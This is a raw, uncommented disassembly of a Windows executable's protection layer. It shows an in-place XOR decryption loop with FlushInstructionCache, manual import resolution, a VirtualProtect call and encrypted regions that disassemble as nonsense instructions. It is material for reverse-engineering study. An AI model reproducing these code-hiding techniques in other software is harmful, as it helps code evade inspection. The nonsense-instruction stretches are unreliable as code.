dd 83FFFFFCh, 0FFFCE4BDh, 57D00FFh, 0B5E9h, 1908A100h
dd 0C0830051h, 0E0858910h, 8BFFFFFCh, 0FFFD2C8Dh, 8B118BFFh
db 42h
byte_504341 db 0Ch, 89h, 85h ; DATA XREF: _1:off_43DECCo
dd 0FFFFFCDCh, 0FCDC8D8Bh
db 2 dup(0FFh), 8Ah
byte_50434F db 11h ; DATA XREF: _1:off_43DEC8o
dd 0FCDB9588h, 858BFFFFh, 0FFFFFCE0h, 4675103Ah, 0FCDBBD80h
dd 7400FFFFh, 0DC8D8B31h, 8AFFFFFCh, 95880151h, 0FFFFFCDAh
dd 0FCE0858Bh, 503AFFFFh, 83237501h, 0FFFCDC85h, 858302FFh
dd 0FFFFFCE0h, 0DABD8002h, 0FFFFFCh, 85C7AE75h, 0FFFFFCD4h
dd 0
; ---------------------------------------------------------------------------
jmp short loc_5043B1
; ---------------------------------------------------------------------------
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
mov [ebp-32Ch], ecx
loc_5043B1: ; CODE XREF: _5:005043A4j
mov edx, [ebp-32Ch]
mov [ebp-330h], edx
cmp dword ptr [ebp-330h], 0
jnz short loc_5043C8
jmp short loc_5043DE
; ---------------------------------------------------------------------------
loc_5043C8: ; CODE XREF: _5:005043C4j
mov eax, [ebp-2D4h]
mov ecx, [eax]
add ecx, 10h
mov [ebp-2D4h], ecx
jmp near ptr dword_503F34+349h
; ---------------------------------------------------------------------------
loc_5043DE: ; CODE XREF: _5:005043C6j
mov edx, [ebp-20h]
mov eax, [ebp-2D4h]
mov ecx, [eax]
mov [edx+10h], ecx
mov edx, [ebp-2D4h]
mov eax, [ebp-20h]
mov [edx], eax
mov ecx, ds:dword_511908
mov edx, [ecx+4]
add edx, [ebp-6Ch]
mov eax, ds:dword_511908
mov [eax+4], edx
mov dword ptr [ebp-24h], 0
mov dword ptr [ebp-20h], 0
mov dword ptr [ebp-4], 0FFFFFFFFh
call sub_504427
jmp short loc_504474
; =============== S U B R O U T I N E =======================================
sub_504427 proc near ; CODE XREF: _5:00504420p
; DATA XREF: _6:0050E428o
cmp dword ptr [ebp-28h], 0FFFFFFFFh
jz short loc_504437
mov ecx, [ebp-28h]
push ecx
call ds:dword_5116A4 ; CloseHandle
loc_504437: ; CODE XREF: sub_504427+4j
cmp dword ptr [ebp-24h], 0
jz short loc_504455
mov edx, [ebp-24h]
mov [ebp-300h], edx
mov eax, [ebp-300h]
push eax
call sub_5083DD
add esp, 4
loc_504455: ; CODE XREF: sub_504427+14j
cmp dword ptr [ebp-20h], 0
jz short locret_504473
mov ecx, [ebp-20h]
mov [ebp-304h], ecx
mov edx, [ebp-304h]
push edx
call sub_5083DD
add esp, 4
locret_504473: ; CODE XREF: sub_504427+32j
retn
sub_504427 endp
; ---------------------------------------------------------------------------
loc_504474: ; CODE XREF: _5:00504425j
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_504490 proc near ; CODE XREF: sub_502DD0+623p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005046B5 SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E430
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFB8h
push ebx
push esi
push edi
mov [ebp+var_1C], 0
mov [ebp+var_4], 0
mov eax, ds:dword_511908
mov dword ptr [eax+0Ch], 0
mov ecx, ds:dword_511908
mov edx, [ecx+4]
shl edx, 4
push edx
call sub_50835A
add esp, 4
mov [ebp+var_40], eax
mov eax, [ebp+var_40]
mov [ebp+var_1C], eax
loc_5044EB: ; CODE XREF: sub_504490+1E7j
mov [ebp+var_34], 0
mov [ebp+var_28], 0
mov [ebp+var_30], 0
mov ecx, ds:dword_511908
mov edx, [ecx]
mov [ebp+var_20], edx
jmp short loc_504516
; ---------------------------------------------------------------------------
loc_50450D: ; CODE XREF: sub_504490+9Ej
; sub_504490+132j ...
mov eax, [ebp+var_20]
mov ecx, [eax+10h]
mov [ebp+var_20], ecx
loc_504516: ; CODE XREF: sub_504490+7Bj
cmp [ebp+var_20], 0
jz loc_5045F9
mov edx, [ebp+var_20]
mov eax, [ebp+var_20]
mov ecx, [edx+14h]
cmp ecx, [eax+18h]
jnz short loc_504530
jmp short loc_50450D
; ---------------------------------------------------------------------------
loc_504530: ; CODE XREF: sub_504490+9Cj
cmp [ebp+var_30], 0
jz loc_5045D2
mov edx, [ebp+var_20]
mov eax, [edx+14h]
shl eax, 4
mov ecx, [ebp+var_20]
mov edx, [ecx+4]
add edx, eax
mov [ebp+var_38], edx
mov eax, [ebp+var_30]
mov [ebp+var_48], eax
mov ecx, [ebp+var_38]
mov edx, [ecx]
mov [ebp+var_4C], edx
loc_50455C: ; CODE XREF: sub_504490+FEj
mov eax, [ebp+var_4C]
mov cl, [eax]
mov [ebp+var_4D], cl
mov edx, [ebp+var_48]
cmp cl, [edx]
jnz short loc_504599
cmp [ebp+var_4D], 0
jz short loc_504590
mov eax, [ebp+var_4C]
mov cl, [eax+1]
mov [ebp+var_4E], cl
mov edx, [ebp+var_48]
cmp cl, [edx+1]
jnz short loc_504599
add [ebp+var_4C], 2
add [ebp+var_48], 2
cmp [ebp+var_4E], 0
jnz short loc_50455C
loc_504590: ; CODE XREF: sub_504490+DFj
mov [ebp+var_54], 0
jmp short loc_5045A1
; ---------------------------------------------------------------------------
loc_504599: ; CODE XREF: sub_504490+D9j
; sub_504490+F0j
sbb eax, eax
sbb eax, 0FFFFFFFFh
mov [ebp+var_54], eax
loc_5045A1: ; CODE XREF: sub_504490+107j
mov ecx, [ebp+var_54]
mov [ebp+var_58], ecx
mov edx, [ebp+var_58]
mov [ebp+var_3C], edx
cmp [ebp+var_3C], 0
jnz short loc_5045C7
mov eax, [ebp+var_20]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+var_20]
mov [edx+14h], ecx
jmp loc_50450D
; ---------------------------------------------------------------------------
loc_5045C7: ; CODE XREF: sub_504490+121j
cmp [ebp+var_3C], 0
jle short loc_5045D2
jmp loc_50450D
; ---------------------------------------------------------------------------
loc_5045D2: ; CODE XREF: sub_504490+A4j
; sub_504490+13Bj
mov eax, [ebp+var_20]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
mov edx, [ecx+14h]
shl edx, 4
mov eax, [ebp+var_28]
mov ecx, [eax+4]
add ecx, edx
mov [ebp+var_34], ecx
mov edx, [ebp+var_34]
mov eax, [edx]
mov [ebp+var_30], eax
jmp loc_50450D
; ---------------------------------------------------------------------------
loc_5045F9: ; CODE XREF: sub_504490+8Aj
cmp [ebp+var_30], 0
jnz short loc_504601
jmp short loc_50467C
; ---------------------------------------------------------------------------
loc_504601: ; CODE XREF: sub_504490+16Dj
mov ecx, ds:dword_511908
mov edx, [ecx+0Ch]
shl edx, 4
mov eax, [ebp+var_1C]
add eax, edx
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov edx, [ebp+var_34]
mov [ecx], edx
mov eax, [ebp+var_24]
mov ecx, [ebp+var_28]
mov [eax+0Ch], ecx
mov edx, [ebp+var_24]
mov dword ptr [edx+8], 0
mov eax, [ebp+var_28]
mov ecx, [ebp+var_34]
sub ecx, [eax+4]
sar ecx, 4
mov edx, [ebp+var_28]
mov eax, [edx+8]
mov edx, [ebp+var_24]
mov eax, [eax+ecx*4]
mov [edx+4], eax
mov ecx, [ebp+var_24]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov eax, ds:dword_511908
mov ecx, [eax+0Ch]
add ecx, 1
mov edx, ds:dword_511908
mov [edx+0Ch], ecx
mov eax, [ebp+var_28]
mov ecx, [eax+14h]
add ecx, 1
mov edx, [ebp+var_28]
mov [edx+14h], ecx
jmp loc_5044EB
; ---------------------------------------------------------------------------
loc_50467C: ; CODE XREF: sub_504490+16Fj
mov eax, ds:dword_511908
mov ecx, [ebp+var_1C]
mov [eax+8], ecx
mov [ebp+var_1C], 0
mov [ebp+var_4], 0FFFFFFFFh
call sub_50469C
jmp short loc_5046B5
sub_504490 endp
; =============== S U B R O U T I N E =======================================
sub_50469C proc near ; CODE XREF: sub_504490+205p
; DATA XREF: _6:0050E438o
cmp dword ptr [ebp-1Ch], 0
jz short locret_5046B4
mov edx, [ebp-1Ch]
mov [ebp-44h], edx
mov eax, [ebp-44h]
push eax
call sub_5083DD
add esp, 4
locret_5046B4: ; CODE XREF: sub_50469C+4j
retn
sub_50469C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_504490
loc_5046B5: ; CODE XREF: sub_504490+20Aj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_504490
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5046D0 proc near ; CODE XREF: sub_50A0C8+77p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005047AE SIZE 00000011 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E440
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE4h
push ebx
push esi
push edi
mov eax, ds:dword_5118E8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jz short loc_504714
mov ecx, [ebp+var_24]
add ecx, 10h
push ecx
call ds:dword_50E01C ; RtlEnterCriticalSection
mov byte ptr [ebp+var_28], 1
jmp short loc_504718
; ---------------------------------------------------------------------------
loc_504714: ; CODE XREF: sub_5046D0+2Fj
mov byte ptr [ebp+var_28], 0
loc_504718: ; CODE XREF: sub_5046D0+42j
mov edx, [ebp+var_28]
and edx, 0FFh
test edx, edx
jz loc_5047AE
mov [ebp+var_4], 0
cmp ds:dword_5118E8, 0
jz short loc_504783
mov ecx, ds:dword_5118E8
call sub_50BA67
loc_504744: ; CODE XREF: sub_5046D0:loc_504781j
lea eax, [ebp+var_1C]
push eax
lea ecx, [ebp+var_20]
push ecx
mov ecx, ds:dword_5118E8
call sub_50BA7E
and eax, 0FFh
test eax, eax
jz short loc_504783
mov edx, [ebp+var_1C]
cmp dword ptr [edx], 0
jnz short loc_504781
mov eax, [ebp+var_20]
mov ecx, [eax]
push ecx
call ds:dword_5117EC ; RemoveFontResourceA
mov edx, [ebp+var_1C]
mov eax, [edx+4]
push eax
call ds:dword_5116C0 ; DeleteFileA
loc_504781: ; CODE XREF: sub_5046D0+96j
jmp short loc_504744
; ---------------------------------------------------------------------------
loc_504783: ; CODE XREF: sub_5046D0+67j
; sub_5046D0+8Ej
mov [ebp+var_4], 0FFFFFFFFh
call sub_504791
jmp short loc_5047AE
sub_5046D0 endp
; =============== S U B R O U T I N E =======================================
sub_504791 proc near ; CODE XREF: sub_5046D0+BAp
; DATA XREF: _6:0050E448o
mov ecx, ds:dword_5118E8
mov [ebp-2Ch], ecx
cmp dword ptr [ebp-2Ch], 0
jz short locret_5047AD
mov edx, [ebp-2Ch]
add edx, 10h
push edx
call ds:dword_50E018 ; RtlLeaveCriticalSection
locret_5047AD: ; CODE XREF: sub_504791+Dj
retn
sub_504791 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5046D0
loc_5047AE: ; CODE XREF: sub_5046D0+53j
; sub_5046D0+BFj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_5046D0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_5047BF proc near ; CODE XREF: _5:005048A9p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0050488E SIZE 0000000F BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_50E450
push offset sub_4FC54C
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ecx
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_34], edx
mov [ebp+var_30], ecx
mov eax, offset dword_4FD720
push dword ptr [eax+4]
call ds:dword_5116C4 ; RtlEnterCriticalSection
and [ebp+var_4], 0
mov eax, [ebp+var_30]
mov eax, [eax]
mov [ebp+var_24], eax
mov eax, [ebp+var_30]
mov eax, [eax-4]
mov [ebp+var_2C], eax
mov eax, [ebp+var_24]
and eax, 0FFFFh
mov ecx, [ebp+var_2C]
sub ecx, eax
mov [ebp+var_1C], ecx
mov eax, [ebp+var_24]
shr eax, 10h
mov ecx, [ebp+var_2C]
add ecx, eax
mov [ebp+var_28], ecx
mov eax, [ebp+var_1C]
mov [ebp+var_20], eax
jmp short loc_50483A
; ---------------------------------------------------------------------------
loc_504833: ; CODE XREF: sub_5047BF+9Dj
mov eax, [ebp+var_1C]
inc eax
mov [ebp+var_1C], eax
loc_50483A: ; CODE XREF: sub_5047BF+72j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jz short loc_50485E
mov eax, [ebp+var_1C]
imul eax, 19660Dh
add eax, 3C6EF35Fh
mov ecx, [ebp+var_1C]
mov cl, [ecx]
xor cl, al
mov eax, [ebp+var_1C]
mov [eax], cl
jmp short loc_504833
; ---------------------------------------------------------------------------
loc_50485E: ; CODE XREF: sub_5047BF+81j
mov eax, [ebp+var_28]
sub eax, [ebp+var_20]
push eax
push [ebp+var_20]
push ds:dword_51168C
call ds:dword_511670 ; FlushInstructionCache
or [ebp+var_4], 0FFFFFFFFh
call sub_50487F
jmp short loc_50488E
sub_5047BF endp
; =============== S U B R O U T I N E =======================================
sub_50487F proc near ; CODE XREF: sub_5047BF+B9p
; DATA XREF: _6:0050E458o
mov eax, offset dword_4FD720
push dword ptr [eax+4]
call ds:dword_511754 ; RtlLeaveCriticalSection
retn
sub_50487F endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5047BF
loc_50488E: ; CODE XREF: sub_5047BF+BEj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; END OF FUNCTION CHUNK FOR sub_5047BF
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
pusha
xor edx, edx
lea ecx, [ebp+8]
call sub_5047BF
popa
pop edi
pop esi
pop ebx
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_5048B6: ; CODE XREF: _5:004FDB88j
mov ecx, 0EF000008h
call sub_508342
loc_5048C0: ; CODE XREF: sub_504DC0+12Ap
push ebp
mov ebp, esp
sub esp, 0F8h
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 0
jz loc_50498A
push 300000h
call near ptr loc_4FDB7D+1
das
pop esp
jmp far ptr 0ACF4h:78C07626h
; ---------------------------------------------------------------------------
db 79h, 51h, 0C5h
dd 0D3767C0Eh, 9A3C1583h, 61222F3Ch, 569A14B2h, 51ACF93Bh
dd 795DE1D6h, 8AC55F6Ch, 6E1F4C7h, 0DDEA9A95h, 847AACBFh
dd 6408A2E6h, 0EFA72036h, 0DEAD53CBh, 0D9318176h, 7A25BFCCh
dd 66815367h, 3D4A3AD5h, 24DA4C5Fh, 0C468C286h, 0A179C1BCh
dd 52068794h, 4B34FCBFh, 5121FE3h, 0D1F96FEFh, 627220C4h
dd 0B1617C44h, 5A424F31h, 7B38D747h, 0B9CB6DC2h, 99A668AAh
dd 1F06D28Ch, 313E4B8Bh, 3278658Bh, 0DED6E3F0h, 95A2B3C9h
dd 9E91AF1Fh, 433950ABh, 90901320h, 0C985C933h
db 75h, 0EEh
; ---------------------------------------------------------------------------
loc_50498A: ; CODE XREF: _5:005048D0j
cmp dword ptr [ebp+8], 0
jz loc_504A9D
mov dword ptr [ebp-0E4h], 0
push 5F0000h
call near ptr loc_4FDB7D+1
ja short loc_504A0E
xor bl, ah
sahf
cli
inc eax
lodsb
les ebx, [ecx] ; CODE XREF: _5:005049B2j
jns short near ptr loc_5049B0+1
into
test [esi+5C4DBBE2h], bl
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
adc al, 7
cli
cdq
mov cl, [esi+eax*8]
mov ecx, 0F36FEBACh
add cl, [esi+ebx*2+58434451h]
retn 310h
; ---------------------------------------------------------------------------
dw 9DF6h
dd 0DFB43472h, 818E9B43h, 4DB11D00h, 0E893340h, 1A0D3981h
dd 0C745F0A4h, 7D8A64DEh, 0BA241770h, 63222F3Ch, 0E1EE187Ah
dd 521A50D4h, 0F1916C2Ch, 2A525F02h, 6B33E757h
db 29h
byte_504A0D db 7Dh ; CODE XREF: _5:00504A36j
; ---------------------------------------------------------------------------
loc_504A0E: ; CODE XREF: _5:005049A8j
sti
test eax, 0A9B628A2h
pushf
loc_504A15: ; CODE XREF: _5:00504A20j
sti
enter 68AAh, 5Bh
dec esi
cmp eax, 4F6ED00Dh
jecxz short loc_504A15
out 0D9h, al
mov eax, 65B38C81h
loc_504A29: ; CODE XREF: _5:00504A49j
xchg esp, ds:0C1542B53h[eax]
cmp al, 78h
bound edi, [ebx+1Bh]
out dx, eax
loop near ptr byte_504A0D
mov esi, 94A141C9h
xchg ecx, [esi]
pop es
mov edx, [ebx+46h]
cmp [ecx-7199795h], eax
jmp short loc_504A29
; ---------------------------------------------------------------------------
db 7Eh
dd 9D45C5B6h, 1DD88390h, 35429036h, 6A19B628h, 0B1251884h
dd 0A6DC5CFBh, 76E58A07h, 26C1E5ACh, 2F5D25Ch, 36296F67h
dd 0FB59B843h, 90907B88h, 0C085C033h, 8D8BEE75h, 0FFFFFF1Ch
dd 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 3943E852h, 0C4830000h
db 4
; ---------------------------------------------------------------------------
loc_504A9D: ; CODE XREF: _5:0050498Ej
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 10h
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_504AB0 proc near ; CODE XREF: sub_504D70+29p
; sub_504DC0+234p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3A = byte ptr -3Ah
var_39 = byte ptr -39h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 48h
mov [ebp+var_4], 1
mov [ebp+var_8], 0
jmp short loc_504ACC
; ---------------------------------------------------------------------------
loc_504AC3: ; CODE XREF: sub_504AB0+106j
; sub_504AB0+2A8j
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_504ACC: ; CODE XREF: sub_504AB0+11j
mov ecx, [ebp+var_8]
imul ecx, 14h
mov edx, [ebp+arg_0]
cmp dword ptr [edx+ecx+0Ch], 0
jnz short loc_504AE1
jmp loc_504D5D
; ---------------------------------------------------------------------------
loc_504AE1: ; CODE XREF: sub_504AB0+2Aj
mov eax, [ebp+var_8]
imul eax, 14h
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
add edx, [ecx+eax]
mov [ebp+var_C], edx
mov eax, [ebp+var_8]
imul eax, 14h
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
add edx, [ecx+eax+10h]
mov [ebp+var_20], edx
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
cmp ecx, [eax+34h]
jnz short loc_504B19
mov edx, [ebp+var_20]
mov [ebp+var_C], edx
jmp short loc_504B27
; ---------------------------------------------------------------------------
loc_504B19: ; CODE XREF: sub_504AB0+5Fj
mov eax, [ebp+var_C]
cmp eax, [ebp+arg_4]
jnz short loc_504B27
mov ecx, [ebp+var_20]
mov [ebp+var_C], ecx
loc_504B27: ; CODE XREF: sub_504AB0+67j
; sub_504AB0+6Fj
mov [ebp+var_14], 0
mov edx, [ebp+var_8]
imul edx, 14h
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
add ecx, [eax+edx+0Ch]
mov [ebp+var_24], ecx
cmp [ebp+arg_14], 0
jz short loc_504B5A
mov edx, [ebp+var_24]
push edx
mov eax, [ebp+arg_14]
push eax
call sub_50575D
add esp, 8
mov [ebp+var_14], eax
loc_504B5A: ; CODE XREF: sub_504AB0+95j
cmp [ebp+var_14], 0
jnz short loc_504B6C
mov ecx, [ebp+var_24]
push ecx
call sub_50AF8C
mov [ebp+var_14], eax
loc_504B6C: ; CODE XREF: sub_504AB0+AEj
mov edx, [ebp+var_8]
imul edx, 14h
mov eax, [ebp+arg_0]
xor ecx, ecx
cmp dword ptr [eax+edx+4], 0FFFFFFFEh
setnz cl
mov byte ptr [ebp+var_1C], cl
mov edx, [ebp+var_8]
imul edx, 14h
mov eax, [ebp+arg_0]
cmp dword ptr [eax+edx+4], 0
jnz short loc_504B9F
mov ecx, [ebp+var_1C]
and ecx, 0FFh
test ecx, ecx
jz short loc_504BDD
loc_504B9F: ; CODE XREF: sub_504AB0+E0j
mov edx, [ebp+arg_10]
and edx, 0FFh
test edx, edx
jz short loc_504BBD
cmp [ebp+var_14], 0
jnz short loc_504BBB
mov [ebp+var_4], 0
jmp loc_504AC3
; ---------------------------------------------------------------------------
loc_504BBB: ; CODE XREF: sub_504AB0+100j
jmp short loc_504BDD
; ---------------------------------------------------------------------------
loc_504BBD: ; CODE XREF: sub_504AB0+FAj
mov eax, [ebp+var_24]
push eax
call sub_50AE83
mov [ebp+var_14], eax
cmp [ebp+var_14], 0
jnz short loc_504BDD
mov ecx, [ebp+var_24]
push ecx
push offset aTheDynamicLink ; "The dynamic link library '%s' could not"...
call sub_5084F7
loc_504BDD: ; CODE XREF: sub_504AB0+EDj
; sub_504AB0:loc_504BBBj ...
mov edx, ds:off_510BE8
mov [ebp+var_18], edx
mov eax, [ebp+arg_C]
mov ds:off_510BE8, eax
push 0
call ds:dword_511718 ; GetModuleHandleA
cmp eax, [ebp+arg_4]
jnz short loc_504C62
mov [ebp+var_34], offset aExecutable ; "EXECUTABLE"
mov ecx, [ebp+arg_C]
mov [ebp+var_38], ecx
loc_504C08: ; CODE XREF: sub_504AB0+18Aj
mov edx, [ebp+var_38]
mov al, [edx]
mov [ebp+var_39], al
mov ecx, [ebp+var_34]
cmp al, [ecx]
jnz short loc_504C45
cmp [ebp+var_39], 0
jz short loc_504C3C
mov edx, [ebp+var_38]
mov al, [edx+1]
mov [ebp+var_3A], al
mov ecx, [ebp+var_34]
cmp al, [ecx+1]
jnz short loc_504C45
add [ebp+var_38], 2
add [ebp+var_34], 2
cmp [ebp+var_3A], 0
jnz short loc_504C08
loc_504C3C: ; CODE XREF: sub_504AB0+16Bj
mov [ebp+var_40], 0
jmp short loc_504C4D
; ---------------------------------------------------------------------------
loc_504C45: ; CODE XREF: sub_504AB0+165j
; sub_504AB0+17Cj
sbb edx, edx
sbb edx, 0FFFFFFFFh
mov [ebp+var_40], edx
loc_504C4D: ; CODE XREF: sub_504AB0+193j
mov eax, [ebp+var_40]
mov [ebp+var_44], eax
cmp [ebp+var_44], 0
jz short loc_504C62
mov [ebp+var_48], 0
jmp short loc_504C69
; ---------------------------------------------------------------------------
loc_504C62: ; CODE XREF: sub_504AB0+149j
; sub_504AB0+1A7j
mov [ebp+var_48], 1
loc_504C69: ; CODE XREF: sub_504AB0+1B0j
mov cl, byte ptr [ebp+var_48]
mov byte ptr [ebp+var_10], cl
jmp short loc_504C83
; ---------------------------------------------------------------------------
loc_504C71: ; CODE XREF: sub_504AB0:loc_504D3Aj
mov edx, [ebp+var_20]
add edx, 4
mov [ebp+var_20], edx
mov eax, [ebp+var_C]
add eax, 4
mov [ebp+var_C], eax
loc_504C83: ; CODE XREF: sub_504AB0+1BFj
mov ecx, [ebp+var_20]
cmp dword ptr [ecx], 0
jz loc_504D3F
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_504D3F
mov eax, [ebp+var_8]
imul eax, 14h
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+eax+4], 0
jnz short loc_504CB8
mov edx, [ebp+var_1C]
and edx, 0FFh
test edx, edx
jz short loc_504D16
loc_504CB8: ; CODE XREF: sub_504AB0+1F9j
mov eax, [ebp+var_C]
mov ecx, [eax]
and ecx, 80000000h
test ecx, ecx
jnz short loc_504CEA
mov edx, [ebp+var_C]
mov eax, [ebp+arg_4]
add eax, [edx]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
add ecx, 2
push ecx
mov edx, [ebp+var_14]
push edx
call ds:dword_511728 ; GetProcAddress
mov ecx, [ebp+var_20]
mov [ecx], eax
jmp short loc_504D16
; ---------------------------------------------------------------------------
loc_504CEA: ; CODE XREF: sub_504AB0+215j
mov edx, [ebp+var_C]
mov eax, [edx]
and eax, 0FFFFh
mov [ebp+var_30], eax
mov ecx, [ebp+var_30]
push ecx
mov edx, [ebp+var_14]
push edx
call ds:dword_511728 ; GetProcAddress
mov [ebp+var_2C], eax
cmp [ebp+var_2C], 0
jz short loc_504D16
mov eax, [ebp+var_20]
mov ecx, [ebp+var_2C]
mov [eax], ecx
loc_504D16: ; CODE XREF: sub_504AB0+206j
; sub_504AB0+238j ...
mov edx, [ebp+var_10]
and edx, 0FFh
test edx, edx
jz short loc_504D3A
mov eax, [ebp+var_24]
push eax
mov ecx, ds:off_510BE8
push ecx
mov edx, [ebp+var_20]
push edx
call sub_5053D0
add esp, 0Ch
loc_504D3A: ; CODE XREF: sub_504AB0+271j
jmp loc_504C71
; ---------------------------------------------------------------------------
loc_504D3F: ; CODE XREF: sub_504AB0+1D9j
; sub_504AB0+1E5j
mov eax, [ebp+var_18]
mov ds:off_510BE8, eax
mov ecx, [ebp+var_8]
imul ecx, 14h
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx+4], 0FFFFFFFEh
jmp loc_504AC3
; ---------------------------------------------------------------------------
loc_504D5D: ; CODE XREF: sub_504AB0+2Cj
mov al, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_504AB0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_504D70 proc near ; CODE XREF: sub_505BD7+1B8p
; sub_50614D+45p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_511914
add eax, 1
mov ds:dword_511914, eax
mov ecx, [ebp+arg_14]
push ecx
mov dl, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_504AB0
add esp, 18h
mov [ebp+var_4], al
mov ecx, ds:dword_511914
sub ecx, 1
mov ds:dword_511914, ecx
mov al, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_504D70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_504DC0 proc near ; CODE XREF: _5:004FE2A6p
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 3Ch
mov [ebp+var_18], 0
call sub_502DD0
call sub_509DD4
call sub_4FC3F3
mov eax, ds:dword_511684
mov ecx, [eax+4]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_18]
add eax, [edx+3Ch]
mov ds:dword_511910, eax
mov ecx, ds:dword_511910
cmp dword ptr [ecx], 4550h
jz short loc_504E0D
mov ecx, 0EF000002h
call sub_508342
loc_504E0D: ; CODE XREF: sub_504DC0+41j
mov edx, ds:dword_511698
sub edx, 3
mov [ebp+var_4], edx
cmp ds:dword_511680, 1
jz short loc_504E37
lea eax, [ebp+var_8]
push eax
push 4
push 190h
mov ecx, [ebp+var_18]
push ecx
call ds:dword_5117AC ; VirtualProtect
